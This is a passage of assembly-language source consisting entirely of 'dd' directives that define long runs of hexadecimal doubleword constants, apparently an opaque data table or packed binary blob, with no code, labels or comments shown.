		dd 53F002CDh, 9332B64Eh, 88E1E15Fh, 3C0BDC2Eh, 88B624C0h
		dd 0C17A694Ch, 896B96D9h, 634AB1FEh, 8ACE3CBFh,	0F8BA6AD3h
		dd 671393ACh, 0D2F8EC29h, 0E3D205Dh, 0BD05A155h, 5C0D0AF0h
		dd 3E75A566h, 667336B7h, 89CAF12Dh, 0BFF3F7ABh,	0E9E997D6h
		dd 0D69700BDh, 668486Dh, 3D4F2A3h, 9C32FFB9h, 5030F721h
		dd 62009A76h, 0E385A043h, 79330974h, 61BD295Eh,	61E659E8h
		dd 97366D0Eh, 8C72D75Eh, 0CB3A5A29h, 0EAE6EE7Dh, 6ECEAC1Dh
		dd 92E6A5A6h, 0F32509D9h, 0F9D98276h, 0F2E9276Ah, 0BDB65A29h
		dd 0E9FEF6EAh, 4716FBBh, 7A990391h, 8B14357Dh, 1115EA18h
		dd 0CF75D2AEh, 4F4E4FF9h, 0F34B32EDh, 95E6B594h, 649B6C88h
		dd 0D1BA98F9h, 0AE552801h, 0A422B630h, 2AB038A9h, 46583404h
		dd 223AD330h, 0B76A8411h, 6A41DC46h, 3E8446E0h,	76939CE9h
		dd 0AD7D0574h, 4C36843Dh, 961965C2h, 969A792Fh,	95C90021h
		dd 0AF23B946h, 2A232F31h, 0A2CC6CE6h, 0BD006BC5h, 0C201F7Ch
		dd 96A6A969h, 2049A575h, 0F2DCE798h, 0AC78E984h, 7F077268h
		dd 833225C3h, 9F84B0DAh, 0F213A69Dh, 0DA5DAC8Eh, 61AE3FD0h
		dd 1E353613h, 0BE10AFB7h, 132332A1h, 90A0AA5Ah,	3A2AF897h
		dd 2A13B358h, 268E38ABh, 0AB9234C5h, 0BF43ECF8h, 0C3E54B49h
		dd 8E142918h, 7410E41Dh, 0AA368C59h, 7E2D2F7Dh,	0BEBB0D45h
		dd 0BC4E9277h, 622728FCh, 70D2C6Fh, 1F30EC6Ah, 0DC3E0B49h
		dd 4B2A5B39h, 0B63AB4FCh, 722045AAh, 0E09602FCh, 0B3481163h
		dd 68BE6FDEh, 0C48A3FC7h
		dd 52EB7A55h, 11E2CACDh, 0B83B57A3h, 0B974FA87h, 82E20001h
		dd 62BEE784h, 0E252AA0Eh, 8A7CA8C5h, 0C0743DFDh, 9B3A5634h
		dd 0F9432355h, 8AEF0061h, 2EF2BEBh, 6BE07479h, 0C8FEF07Eh
		dd 0B78C349Bh, 4E6CB033h, 282F4308h, 0BE2336DDh, 9EE3E415h
		dd 30B63692h, 634A0DC4h, 0B3320E87h, 0A2AAF4BFh, 1FEE91A6h
		dd 9F25F79Dh, 0FF576Fh,	0B23C994Dh, 0AAFA9925h,	8BD1EB51h
		dd 7EC39BE8h, 7316706Bh, 5B792C73h, 561FC97Ah, 0BF06BFFCh
		dd 35A5EFE8h, 0A45951B0h, 0AB7D6D9Ch, 1FFFAAB3h, 53265E03h
		dd 0E9124F97h, 0E1CAB568h, 3D860720h, 0ACFC74E3h, 9AABA6FBh
		dd 1FFE3549h, 21C56266h, 6DD20534h, 0A6325B0Fh,	0B96F8860h
		dd 0A94F52BDh, 4D26C521h, 0BC15558Eh, 9C5BE459h, 2D5E930Bh
		dd 93C25454h, 0B6FE8EB4h, 34348015h, 1165BBB1h,	8A325863h
		dd 0EB56B7ADh, 0BC005721h, 222232B1h, 3BCD04ACh, 4436AAB0h
		dd 1A032F15h, 0D293787Ch, 0FDFE29FDh, 52B13E4Ah, 163292AFh
		dd 935680ACh, 0E2D0E6B9h, 93C6A93Eh, 0BDF68071h, 0A359A83Ch
		dd 945277C9h, 0DE6A003Fh, 0E00176BAh, 0D15451D2h, 8876639Fh
		dd 0AF126734h, 0F093A9C1h, 0FCF05966h, 0B78A50F9h, 5F18C79h
		dd 0DEE354C5h, 5FB04906h, 0FE1B0D66h, 5BAEA4DBh, 43F646B1h
		dd 692515D0h, 3F662724h, 7FA2E54Ch, 645AFCBAh, 0BCAA557h
		dd 7254F529h, 0B2BAED62h, 520D8CBAh, 20547DFEh,	1F560066h
		dd 5602310Eh, 0FC54EFF1h, 8033696Dh, 0FE353BE3h, 46627597h
		dd 0F11A5C1Dh, 4C6DAD21h, 7C3EE063h, 0AAC47EB3h, 660217E3h
		dd 22A63094h, 5C9A318Ch, 0B19D9870h, 0D279EB7Bh, 2086430Ah
		dd 0F9823140h, 55C0D08Ah, 0F3AE7154h, 0A3729E19h, 3E921C76h
		dd 5C01D1F1h, 3A27B15Ch, 14639DBDh, 63F40EA0h, 0F3AA9065h
		dd 0F10322BDh, 0C83A5415h, 86BE176h, 0F3A25C74h, 5108E57h
		dd 0FCF5C4B2h, 82206EF5h, 70A3E848h, 1AC91B5Eh,	5AC11F19h
		dd 0F300AD5Dh, 0DF6C31C9h, 1EDAC8DAh, 7B63787Fh, 9C8230FEh
		dd 3F534719h, 7488358Ch, 6FFAAA3h, 0A3326A7Eh, 0E6566D65h
		dd 0A6055814h, 4476EE19h, 8635319Ch, 0F08079CFh, 5FA8E60Bh
		dd 0FE77D6B5h, 970B4D11h, 0E66234FEh, 76919B2h,	5070A3B3h
		dd 2077D56Dh, 7D79CEBDh, 0BD0EF97Fh, 82D27419h,	9C68A9FFh
		dd 0E7CD2938h, 0CA437D03h, 2975BD9Eh, 0B07C030Fh, 0E35D76B1h
		dd 0EAAE60B3h, 0AE2D236Ch, 89BE7062h, 5DAAD567h, 2AA6B6F4h
		dd 0A77C9984h, 6D75ED35h, 0A97AE07Fh, 0FC0E84BDh, 0BB2E7031h
		dd 26A57635h, 0EBAEE302h, 28C5316Eh, 3AA23092h,	0FC5635F4h
		dd 0DDFC394Dh, 0DE071BB5h, 45D062CDh, 0DE2D3135h, 0B5F14ED7h
		dd 81810845h, 4FF29E1h,	0DF00E845h, 91183145h, 0E07E5968h
		dd 60265368h, 0DD353075h, 3902F8B5h, 9E37EDC4h,	0AED212DFh
		dd 0AA062BE2h, 52223062h, 0A4803DC4h, 0B2F21CFDh, 0AD7F8FB1h
		dd 4688E6ADh, 3EFFB7B0h, 83396A5Dh, 0B68E6781h,	0A47F8144h
		dd 0AB32459Ah, 0B08B4921h, 7306153Ch, 0FE97BDFBh, 279EE63Ah
		dd 4F3AB49Ch, 6FC04FDEh, 0A76BE5B8h, 20DA3459h,	0E201339Ah
		dd 5D9DED53h, 8F06537Eh, 433DA953h, 66ACEFEh, 6AF0DD1Fh
		dd 0C109F00Bh, 7C2A5833h, 71326C9Dh, 7342BD66h,	71133346h
		dd 83033C17h, 4B5AA121h, 27053EE6h, 92D449B3h, 0B07F8AB4h
		dd 3C5E4AE8h, 0EE3B4885h, 0FAB34AEEh, 586F4921h, 32BEFFACh
		dd 1F6A0283h, 0AA9371ADh, 0C48B3584h, 7607DFCEh, 0D4608542h
		dd 0AA2540C4h, 59946584h, 0B760D8D4h, 1C2E52C1h, 9ED6C21h
		dd 0FF5281A5h, 4B8F22B0h, 2A431943h, 0A6223D83h, 56DFAD84h
		dd 0FD63E464h, 5CFAA94Ah, 0BB0E6924h, 89B643DDh, 3B325099h
		dd 35587E46h, 63DF5CABh, 0F3A30332h, 0DF56C9E2h, 0BEA5ED7Eh
		dd 801F53E3h, 0FA08A054h, 325D1020h, 60B18ABFh,	0BEA46BE2h
		dd 2C5A3121h, 0BFEB880Eh, 0FB8B7DE5h, 5104AD9Dh, 0F513417h
		dd 2B146045h, 1907500Ch, 0DE355C8Dh, 0E283253Ah, 73BBCD66h
		dd 881CA5FFh, 0D8C461FCh, 54D1EC74h, 69CEC771h,	0DDBA85E5h
		dd 0A2A8F732h, 0AC0538B2h, 0CB4C2313h, 22E9F6E1h, 0BED3E4BFh
		dd 1712FBA4h, 0DD32854Eh, 0A682DDC4h, 5BD30065h, 0C018E798h
		dd 0DECE901Bh, 569631B7h, 93A3E921h, 0B381837Fh, 2B2FEC52h
		dd 154BB9E4h, 23350EEFh, 0DE45866Ch, 0DE2EFE53h, 0B53C7C5Ah
		dd 823336FDh, 5B0C1A0Fh, 0A3CF6F04h, 0AD983117h, 4DAA2C58h
		dd 76DACC4Eh, 0F87E986Dh, 0FC9B593Ah, 7F321717h, 4F5575EFh
		dd 0F1F004CAh, 0B11D8A72h, 0AEBBFE1Eh, 2F9FB5F5h, 0DEF2BEA3h
		dd 0A664DA43h, 0A5225327h, 6E5A9A5Bh, 573CF830h, 91017DCFh
		dd 0AAA5DFFCh, 0EF912994h, 81F965CCh, 0A4E3F790h, 0A0D17B59h
		dd 70A0CB5h, 0B2B1A24Ah, 0F42E41A3h, 432510CAh,	42DD1F8Ah
		dd 31F213E6h, 0A5A60BF9h, 9F3E0D56h, 346911F5h,	4F562290h
		dd 46E23C77h, 5626E1D6h, 8BCA457Fh, 0BBB6A6B9h,	52B11B61h
		dd 36204748h, 5A23C759h, 0F3992989h, 5CDA897Eh,	712A1923h
		dd 62FD1934h, 50FE765Ah, 0F2A235D9h, 6A5129E2h,	0B81A156Bh
		dd 0CE14E225h, 0F6166302h, 25AA73B1h, 0F616AD5Ch, 0DDD53017h
		dd 35DF8B2h, 0F601EABCh, 1E19FD51h, 4F240635h, 97065B42h
		dd 0AA38480Eh, 8AF1BB38h, 0BF39522Bh, 5DE50FCh,	55B8CBF9h
		dd 7BB8BBA8h, 0E3FA63C3h, 0F408AB5Ah, 0DEC5C333h, 51C20324h
		dd 53F42D99h, 18BCA7A8h, 911438B1h, 8365176Dh, 0DF2B0A2h
		dd 1B39658Dh, 756B1A9Dh, 7319239Ch, 34354865h, 0D623BAE9h
		dd 3450E364h, 20D8DE6Bh, 0AF14BA6Ch, 0EF6DBEE6h, 4D1F9B65h
		dd 79035133h, 708AFCD3h, 0CD97D611h, 0B10BD903h, 0B00C74BCh
		dd 22DD0B35h, 0F2F0E35Fh, 306BBC4Dh, 610D26B4h,	0A93DF902h
		dd 0AB088F37h, 9D1B00B4h, 6E5A0BE8h, 0C2DAA4C3h, 0CD0A3A6Eh
		dd 0A34D2833h, 821C76FFh, 8DC9988h, 235A9E5h, 0E0748587h
		dd 32321E08h, 0BF85D57Ch, 0CE0B1F7Ch, 63A970Ch,	621DC886h
		dd 59AC8815h, 1DDCED84h, 0C9FA4D1Bh, 770D17E4h,	98423614h
		dd 9D4B285Ah, 0BB2E461Dh, 23BA4481h, 58FB7274h,	5F7E9960h
		dd 3AA475E4h, 2165DDF5h, 6E2E6F7Eh, 387E7089h, 976EC250h
		dd 0ABAAB513h, 0EB9D4471h, 7C0E026Ah, 142E448Dh, 32BAAC89h
		dd 0F6DAD7E4h, 0B0D473Dh, 0AE1620B4h, 69677D44h, 4BE0451Dh
		dd 0EE221D7Ch, 0A401F888h, 0E1AEAB27h, 300DA65Eh, 0D273162Ch
		dd 7082B660h, 368D929Ch, 0A36770C2h, 4374EA9Ah,	6EF0C9CDh
		dd 515D32D7h, 0D6214052h, 0AA22D288h, 0AC37E3CFh, 0AD631CB3h
		dd 0B21EADF8h, 66D6C92Dh, 664EE51Ah, 0AA2A8650h, 833337AFh
		dd 95426CDAh, 0F4A49918h, 0BBDC0B1Dh, 0D63D1FF6h, 852EE050h
		dd 951194CEh, 6292ECE6h, 20DA8446h, 277E9117h, 5D471950h
		dd 0AFD480B9h, 22E8D134h, 5E640D4Eh, 2F6C073Bh,	528A183Ah
		dd 1F366713h, 5B0C653Dh, 56501A0Ch, 4410D2D4h, 7E9C053Bh
		dd 0A63AB55Dh, 4FF82133h, 95BC008Dh, 239C23BDh,	0FF96DC35h
		dd 81A31D63h, 996C66DCh, 8305CC6Dh, 1CD09C21h, 54030569h
		dd 6B1E178Ch, 660E8003h, 19BF3F14h, 5E09AE33h, 5CD98F0Fh
		dd 4AC6932Bh, 0A3BB6181h, 0A67238BBh, 42DA363Ah, 0A586D150h
		dd 0C06AE9C4h, 62DA5F72h, 3A0DE66Dh, 0F04F9348h, 0C4C1087Dh
		dd 0A1809CEAh, 30533D68h, 2E2E6B32h, 0B238686Bh, 2E1151C9h
		dd 309148BEh, 3EAA2575h, 0D961CC96h, 0F7187FFBh, 3BDE5BE8h
		dd 0B83D3A1Fh, 49A3383Bh
		dd 0E57BDBBCh, 3A32F532h, 554E29E6h, 4A229C03h,	5CB91C4Dh
		dd 0A54336B5h, 3DB18873h, 0A2C40DF3h, 2E9CEC5Eh, 0D420C80Eh
		dd 0B11929DCh, 0F96C0DFFh, 0E55B6D2Fh, 291755BBh, 0AAD71DE4h
		dd 34A00AC1h, 5D98D9F1h, 75AE7451h, 7043306Bh, 8E3ACD42h
		dd 0EF74A9E6h, 0EBC10161h, 2E1EFF04h, 3A3C159h,	139DD751h
		dd 2C197113h, 0ED0F4EB7h, 3A1A97B3h, 8285EDE9h,	0B2117558h
		dd 0D09123A9h, 93EEC859h, 2A830CF4h, 0D9B17048h, 0BA212A34h
		dd 19B212A5h, 38642C7Fh, 0E02212Ch, 903FF2Ch, 0F12312ABh
		dd 6A21B933h, 0BED8FF7Ah, 0D211F2B5h, 0A412ECDBh, 2AC900C6h
		dd 830E7658h, 420C2360h, 4ADD20A2h, 6D2C3FC1h, 0B00ECB9Dh
		dd 59B86740h, 441DF8E1h, 5C6F1C41h, 784591Dh, 3C79436Ah
		dd 0EA5A0D09h, 4EC0424h, 0D552C942h, 0A5669D62h, 1EEBABE7h
		dd 7DAD0937h, 0D6B0C4FBh, 53840266h, 10714E8Bh,	0D6D36761h
		dd 0DB3814EAh, 8FDADC23h, 8E24638Ah, 3EDAAF04h,	0B764E1D5h
		dd 7BA75543h, 635D3495h, 0AEE0D76Bh, 1706F77Bh,	9852EBFEh
		dd 740CBDF1h, 219A5DD5h, 700B05BDh, 7D4FD144h, 0C63D13B6h
		dd 76F14A03h, 8232110Fh, 53841898h, 61809B45h, 5CEF82CAh
		dd 0A20618FDh, 36BA13EBh, 2072ECE7h, 864210D6h,	26F19378h
		dd 66480DAAh, 8FB84541h, 0AB016420h, 8F9309B4h,	0D8D9296Eh
		dd 0AB566F33h, 0AAB8AA7Ah, 4F7F5CA9h, 72B6EB85h, 0A4293D46h
		dd 0BA985C0Ah, 47F8CFD1h, 0ADC395Dh, 0E40F9EAh,	822C49EFh
		dd 224F128Dh, 86F74976h, 473BF268h, 0BADF8A3Dh,	0EB1E5699h
		dd 429B37BCh, 0B23A15EFh, 0DD2D6763h, 0C4637555h, 75004460h
		dd 8D436E8h, 0B22DD02Eh, 138BDFBEh, 9DB61062h, 0CB8AC05Ah
		dd 50838574h, 67162ABFh, 6445FBB3h, 32DAA3F0h, 0DDFB0CE8h
		dd 0A37FC1F5h, 0C8DAC003h, 13EEC0B0h, 72CA2F7Eh, 0CBA18C55h
		dd 0FAF70E03h, 84A67EACh, 0B863AA88h, 5E1E7DA0h, 75A60443h
		dd 0A2F8D9DEh, 0EA07B438h, 0E31D1047h, 0DEEB1ABFh, 5D134629h
		dd 0BAA62D58h, 0AD6A1316h, 63490421h, 21F300Fh,	0FAB01658h
		dd 0A932C8FAh, 0FF23B358h, 0DCB462Dh, 0C26233C9h, 6A4D8D5h
		dd 22865D75h, 49F5D99Dh, 1A26CF59h, 168903FEh, 0AF6225E3h
		dd 2365D944h, 97729D4Ah, 3A80B485h, 0CE4603E9h,	0FB3D0051h
		dd 32695838h, 0DCEB207Ah, 887EDF6Fh, 2A12AD75h,	0A6F35960h
		dd 9B1143D1h, 8EF00E7Dh, 0CCE86966h, 4975ADF3h,	0C6BFA5D8h
		dd 9C746683h, 4761754Fh, 49F58EB3h, 6EBEBBDCh, 0E6EAD281h
		dd 0A8617544h, 0F57FBFC0h, 0E049C131h, 0F55B1728h, 0BC793F36h
		dd 0FF57C0CCh, 0FC9936BBh, 3E177E1h, 0C49E7C2h,	60D92941h
		dd 0FEE6AD94h, 9EB09254h, 0A29044D9h, 0D65A5F23h, 0D9394BA2h
		dd 0EF5936F8h, 121440AFh, 48FC7AE2h, 19688CB4h,	7C166F66h
		dd 9A34335Ch, 60EB5F52h, 0E01CA0CDh, 12EAD30Eh,	0BACDAFEAh
		dd 47981421h, 2A1F7D4Fh, 8AE1508Bh, 6BB92CF2h, 757F0016h
		dd 0B1025460h, 23422AD2h, 0D7C3174Dh, 0A29CFF0Eh, 0B4A99B8Dh
		dd 1EBA7360h, 85F336BBh, 34C6C558h, 48CE9405h, 27EE231Bh
		dd 233E41BBh, 0F9853CE7h, 970ED54Ch, 3696C355h,	0B1B89B75h
		dd 4C5BB631h, 2620E190h, 2532E8E3h, 91B7DC65h, 77E3D773h
		dd 52E3779Ah, 0E9E2CDA4h, 2BC5BE30h, 675D3AA0h,	0B51B75Bh
		dd 4772EEDDh, 832B86DFh, 9FF97AE8h, 57999971h, 98F0EE28h
		dd 0DE339D91h, 0F3DF30ECh, 5E38A15Dh, 0A117AB09h, 29D825C3h
		dd 0FB2C64B6h, 952E202Fh, 0B0F503EFh, 45AD0A2Fh, 5940E39Ah
		dd 0F3BE621Eh, 57483CA3h, 5C8FA30Eh, 4477FC7Bh,	0DBB8EF31h
		dd 8F194849h, 6DDAEA7Eh, 0A9BFB5CBh, 61F81549h,	409B0CF2h
		dd 9FFE176Fh, 0A190DC68h, 0AC8F0D36h, 33699320h, 2918417Bh
		dd 0A6C8FADEh, 0DE0A5110h, 60E93038h, 3980050h,	9FAA5120h
		dd 43AB494Ch, 32BA6D5Ah, 4FE88BE8h, 0A50ABB3h, 82309845h
		dd 716D1213h, 66A45F47h, 97AC6245h, 0D3553049h,	4364C9B4h
		dd 2E142BDDh, 0FABCDFDAh, 8543D138h, 0D615D52Ah, 0FF80C7D0h
		dd 0C9FA3311h, 0A558C241h, 44E3066Ah, 0D4FF9E2Ah, 3E8AC6BDh
		dd 0FB350439h, 781807BCh, 652125A7h, 0E504C3A2h, 1DFC87A5h
		dd 29D301A7h, 25360C9Ch, 9BF97455h, 21195337h, 0D5561F47h
		dd 0D8FC23F7h, 0EE34A0A3h, 845A2EEEh, 73B0B3h, 49408C63h
		dd 0AB2BB1FBh, 164CC609h, 72AEFE58h, 6222AC71h,	9631EA21h
		dd 0B85DA5Dh, 62D6EC01h, 0BD032D4Ch, 0DB7DDC90h, 5F40F2BAh
		dd 0D17EA934h, 711B1A63h, 0E428661Eh, 4342E068h, 7AEB0452h
		dd 838512F7h, 5CB8EC5Ch, 1A093301h, 444A003Fh, 0F413E5E1h
		dd 0B3D9345Dh, 858C4AE1h, 620496CCh, 0DC9C319Ah, 1BF45E80h
		dd 0A34652E6h, 0AC223E84h, 0DF80F367h, 0AE1D20DBh, 83736F65h
		dd 0C57B9E70h, 0ADE7D941h, 0C5BB9D9Ch, 10536A6Ch, 39A9811Ah
		dd 7B940C8Eh, 8CB1ACE0h, 0CEE2F5A6h, 0E25AC0A4h, 4E1AEC14h
		dd 59AF71E8h, 0D30DEF72h, 4D066C48h, 0B1D997ECh, 0E943268Fh
		dd 399B3D1Dh, 4B5C3AE2h, 2EF9DDD4h, 95EDCCC9h, 0AA33493Bh
		dd 9B2FACEFh, 0AE21AA97h, 222E9C8Dh, 36EDBFA4h,	0CF00B1CDh
		dd 7A424E41h, 27C04855h, 463E68E8h, 9BC39271h, 7E0399D5h
		dd 0F2140627h, 1DDC3561h, 17FF2D5Bh, 0FBD32BBDh, 0CB4FB09Ah
		dd 0C431DC34h, 29B91137h, 0AFF38455h, 4F5B4415h, 0D9A0A9EDh
		dd 0E04B33E0h, 616A58BBh, 3D28426h, 0C01F425Fh,	595CDE0Bh
		dd 618FE142h, 3EB128DEh, 0AB639E3Fh, 347A289Dh,	0AE140FADh
		dd 0B219023Dh, 0E5913C69h, 8EEC1F38h, 0A7A18BC9h, 32650B42h
		dd 5195A44h, 0A3F0375Bh, 0D207A859h, 4E5BFD44h,	7750A63Fh
		dd 5CF8A06Ch, 0AAFFB4AEh, 98AE3CA9h, 0A3E3EB29h, 0A2361183h
		dd 0BE7BCB4Eh, 0AE3F5E44h, 991C1C0Ch, 0E32EB4FBh, 9EB6EFE2h
		dd 0AEE4A4EAh, 0BC58BB4Eh, 0F73FDCF8h, 6F358DF5h, 9B244AA0h
		dd 9484A5BEh, 8A18362Dh, 3535449Bh, 291C32B5h, 0AE313A9h
		dd 15DCE875h, 21003363h, 8A3A2832h, 2CB5B2F0h, 9B10DC5Eh
		dd 3323AEB1h, 940A7247h, 78E42D4Dh, 3C9B2A11h, 42A97112h
		dd 47298572h, 0AB7DA1C1h, 0BA4445CBh, 50777CA6h, 562506E1h
		dd 7069C552h, 5433243Ch, 831189F9h, 9BB97F74h, 0CC8E83BDh
		dd 0B3A53ACEh, 20B5395Dh, 1A22357Fh, 7F63053Dh,	0FC7D1019h
		dd 60BCF2B9h, 2E0100ADh, 52BD0E15h, 22035D17h, 0BC82CC45h
		dd 422A22B8h, 0B70A0E74h, 0AB6CA47Eh, 5ED1014Ah, 5681A422h
		dd 0AA393144h, 0FBD1E051h, 7B328159h, 0AB750D95h, 0B6DAD909h
		dd 4C06FFB5h, 0AB8536B1h, 0B97F43B9h, 82413278h, 0E13B2CA2h
		dd 0D61B62A0h, 86DAAC6Eh, 475E1FA8h, 4102825Dh,	9BDB3AB2h
		dd 8672D2A3h, 1D1AEAB0h, 471BE3E4h, 4B9D41FDh, 41205911h
		dd 0EA43ED15h, 0DE06247Fh, 0AFE10263h, 0AE2034EDh, 0C6678EB5h
		dd 0A7AD3C92h, 0AA28995Ch, 0DF6A6921h, 2C4D1311h, 7636C2B8h
		dd 3942427Ch, 2BFD31C4h, 0E02EE795h, 1F608EB4h,	0F2E342EDh
		dd 8C4D3983h, 0FD01C54Dh, 6AF3753Dh, 64BDED4Ch,	5ED77D05h
		dd 67691351h, 0A722FDC4h, 38C8B2C1h, 260303F1h,	0F6230045h
		dd 3E2BE184h, 1E3231C4h, 0A6583ED0h, 21750BC9h,	0AAFFCE37h
		dd 40EAFC44h, 0B763ADDDh, 0BE46E395h, 0A8653C2Dh, 0E3609AB5h
		dd 0FD16C3F9h, 0A236654Ch, 0CA003BC1h, 0AA37D55Ch, 0DF5E69C5h
		dd 0D2BD1335h, 2461D9D9h, 1B1D29CDh, 0BA3AE3E9h, 4E06F1BDh
		dd 6627314Dh, 635314Ch
		dd 5C3A5CBCh, 0EE353B5Ch, 0B346A5C4h, 86EE8801h, 64975FB8h
		dd 1E362B8h, 0EB1A999h,	0B97EF613h, 56FDEC37h, 0E0871544h
		dd 0FEB30544h, 2C36C603h, 0FC363206h, 62F530AAh, 0A79B495Eh
		dd 21713971h, 208D3984h, 0BBBC690Eh, 0FC5528A9h, 0FD6134D4h
		dd 4B605554h, 61B64375h, 6DB4D171h, 0C2A397FDh,	284613AAh
		dd 0E8F5A69Dh, 42A17944h, 0E8F08534h, 0AE339A3Bh, 4EB11835h
		dd 8E23B862h, 0A79927E7h, 722B428Bh, 5DB6F2B9h,	0AA350261h
		dd 4E166B51h, 0F37B5177h, 0A890DBEBh, 0A6350FB4h, 8F63FFE1h
		dd 7E275D44h, 87FBE003h, 9F023382h, 0FA3D0671h,	4B253163h
		dd 4380FD22h, 516228FCh, 0FDF530D6h, 46636D21h,	0F6B34144h
		dd 0DA17AAE3h, 0E80249Bh, 3F204E47h, 274852A3h,	60BE552Dh
		dd 0A8690B2Dh, 449C950Fh, 0B2F334F9h, 2F85004Bh, 0CAB87491h
		dd 0B48EB2B8h, 36DF8D3Dh, 7ECD345Eh, 0B2B2C305h, 89BC423Dh
		dd 5DB682B9h, 0FC953129h, 2EE0D1FDh, 4D513A82h,	0A6E5107Dh
		dd 7201AABDh, 6A352D42h, 5C0219FBh, 4A3372B1h, 0C2FD347Dh
		dd 2161F94Bh, 637E171h,	0BB0EE239h, 0EE1F8945h,	9EED8308h
		dd 4EB10D44h, 7F26A95Eh, 0F2E81E95h, 0A2013B1Dh, 0A7B28553h
		dd 6CBE58A9h, 8A1B0E9Dh, 0BB96ECB8h, 4126BD85h,	26DF713Dh
		dd 0B3813443h, 5F4A1EE5h, 0FA93FAB8h, 6EE83076h, 0AB328625h
		dd 0C620CDA4h, 7C3E357Dh, 9333434Dh, 0A69130E3h, 3601AF98h
		dd 7AB24044h, 22DF7CFDh, 0A77BE57Bh, 0D87A8D35h, 0BEFA9100h
		dd 4CAECDD4h, 0A6FD38C0h, 0A2EEAFCCh, 5DBCB5B9h, 0C3C201A1h
		dd 13D13519h, 0FDFEFEB5h, 0A2D6A014h, 0A222A01Ch, 0FD62A104h
		dd 4E43F83Ch, 9EF23382h, 4B734595h, 0ABA6EE37h,	0C6BA439Dh
		dd 4C600583h, 5C850539h, 0B45A9383h, 40DD0581h,	0C7958D9h
		dd 2A206391h, 0FCD110ACh, 7A2AE2B4h, 0FC7934DDh, 0EA364A3Fh
		dd 52234362h, 42BAA534h, 0AEE04501h, 0DC2B814Ch, 862D354Ch
		dd 9E215963h, 0AF7B7EB5h, 0A409B6Bh, 4FC3343Ah,	0DEB3E5C2h
		dd 0FC792065h, 0AA021EB2h, 2C124014h, 0D2AADAB5h, 5514AF89h
		dd 0A6FE6CFAh, 0F6082D13h, 0E0B45569h, 9DF01070h, 0FF86C954h
		dd 0E6CE70A6h, 0B860EDEDh, 8AF36DC9h, 23143EB8h, 4A240474h
		dd 0BAB359C7h, 8507DD62h, 0B6AA55C5h, 878E8F35h, 6CC25DB8h
		dd 1BD19AB8h, 2B60B6BDh, 0AA2BA945h, 0FCC5BCE9h, 0A55138ADh
		dd 0FD4AD6B5h, 66E130AFh, 0BBBCF902h, 62B240A9h, 5E377DFBh
		dd 178B1E51h, 1A130161h, 0A6353434h, 0BC61E2CDh, 0B40EB2A1h
		dd 254C31C6h, 86FFE085h, 0DF75347Dh, 41CB1E89h,	7A106D61h
		dd 6C8EE034h, 0F28D3EB8h, 56BB40A9h, 0EEC3C5BDh, 0AAEE0FAFh
		dd 6852AC21h, 5EC531FDh, 6BC83160h, 1032815Eh, 0AB751C95h
		dd 47DAD914h, 4E06CAB5h, 1273140h, 7C32C966h, 0FE3EA640h
		dd 0B60A0C4Dh, 963A4DE4h, 919D2920h, 0E55AB73h,	242A6867h
		dd 0BEE0BF15h, 237C1283h, 0D2DCE9EDh, 9EF889BDh, 0B4E5188Bh
		dd 56B2F142h, 8A62ADFBh, 1AF30347h, 0B332837Bh,	4E2228B9h
		dd 17BEF3E1h, 0B336EB53h, 8F5134D5h, 637E9DAFh,	4D66E2B8h
		dd 0CADEB815h, 0BD8EE6BDh, 0E06A89FEh, 0BBD10B15h, 3B2EB14Dh
		dd 0D8F55FF5h, 457C6167h, 0E21FBD5h, 23CAE583h,	22F8EB29h
		dd 4226CD45h, 1630AEC1h, 0E2F8F0B5h, 7CFECC25h,	2A2BD1D4h
		dd 0A7B21358h, 0E3606AB5h, 7CBECD75h, 76213865h, 77BEED8Dh
		dd 2B75AA31h, 8376ABD4h, 0DEBAAD9Eh, 42221741h,	4AA30D35h
		dd 0AA2AEE51h, 72BA5CA9h, 52BD3196h, 0BD12E209h, 4DE5A159h
		dd 5AE7C7E5h, 5F81FA40h, 19F007C8h, 4DEF3524h, 130E18AFh
		dd 1DEDE7C4h, 46D13128h, 0CE5F4CA6h, 37C2229h, 0C2002D2Dh
		dd 0F21A164Fh, 0ACECF345h, 75C9490Ah, 8CE108F4h, 2BCBA857h
		dd 4E027515h, 7A32AEF5h, 442B5CE1h, 0EE011144h,	5D267913h
		dd 72820061h, 61B450A9h, 0EA650089h, 73E346F5h,	0FE202BFDh
		dd 0AF604935h, 0E238F84Ch, 0B756F031h, 9225AE95h, 0BF23E334h
		dd 0BD38C10Ch, 0FD4AB191h, 0B3523985h, 4216ED20h, 0FF62B7A9h
		dd 0E37EB120h, 9221FFE8h, 0FE3EA995h, 0C60D29E1h, 0CCBBE33Fh
		dd 0A6FC3DE1h, 2A813144h, 2A2FFC53h, 532E8335h,	1222374Dh
		dd 76990035h, 0F8293020h, 4BE66D84h, 223B3E98h,	0B61EF05Dh
		dd 5E32AE5Dh, 0BDEC98FDh, 46B35691h, 42D211FDh,	2B2F50B8h
		dd 0E81CB1E5h, 79BA9199h, 0AECE1822h, 0AFFFB60Ch, 20B0141Dh
		dd 6AE33D7Fh, 0A9CE9E3Fh, 3715DE40h, 9E1EDDE3h,	0FF50D8Fh
		dd 5F358D4Ch, 0E124D639h, 0B034A5D8h, 74D83E2h,	2E3636A1h
		dd 9AE38F11h, 9CCE6820h, 7D9140A6h, 9A20A949h, 5DEC7A52h
		dd 92FFB40Eh, 2DB10B94h, 17BBD5E4h, 96E7B89Ah, 9ABEA934h
		dd 0E919693Ah, 0BFC1C511h, 1FEF139Ch, 1830FE6Fh, 0A421CE7Dh
		dd 0D72DFC17h, 0AE4401C3h, 0BB42051Dh, 142C88D5h, 7CE79953h
		dd 0D482EA39h, 9E25277Dh, 0D7304D9Dh, 2538D997h, 0D7ECFE95h
		dd 0F49D33B2h, 0B9B75EFAh, 7176BDF4h, 0E109A107h, 9C0B9E10h
		dd 270DDF67h, 6E6F2D07h, 611FA14Dh, 0B2802122h,	8BD0E76Ah
		dd 211029Ah, 7F1CBCFDh,	73FBEDE5h, 9D34E882h, 0BC2625C6h
		dd 0DF229F3Eh, 0D634C5D5h, 1F3BBC28h, 1638B91Dh, 1DA679F9h
		dd 71EF3D3Ah, 0A1113758h, 3F71F6DEh, 1B9F336Eh,	0ACA13527h
		dd 0C60BB8CEh, 0D0042F18h, 0D8385266h, 38384D51h, 8B399393h
		dd 0DE0956B4h, 0DD6BF967h, 52A53CF5h, 0E00DAA4Dh, 66F06107h
		dd 4014641h, 70435895h,	2725A4A5h, 0EBED2764h, 0F702F19Dh
		dd 5664DAAEh, 0F7AD1B9h, 0D1342210h, 616C2267h,	90CFE93Dh
		dd 9F59C64Ch, 1212942h,	0A0AC63A0h, 0E55A76A2h,	828D4324h
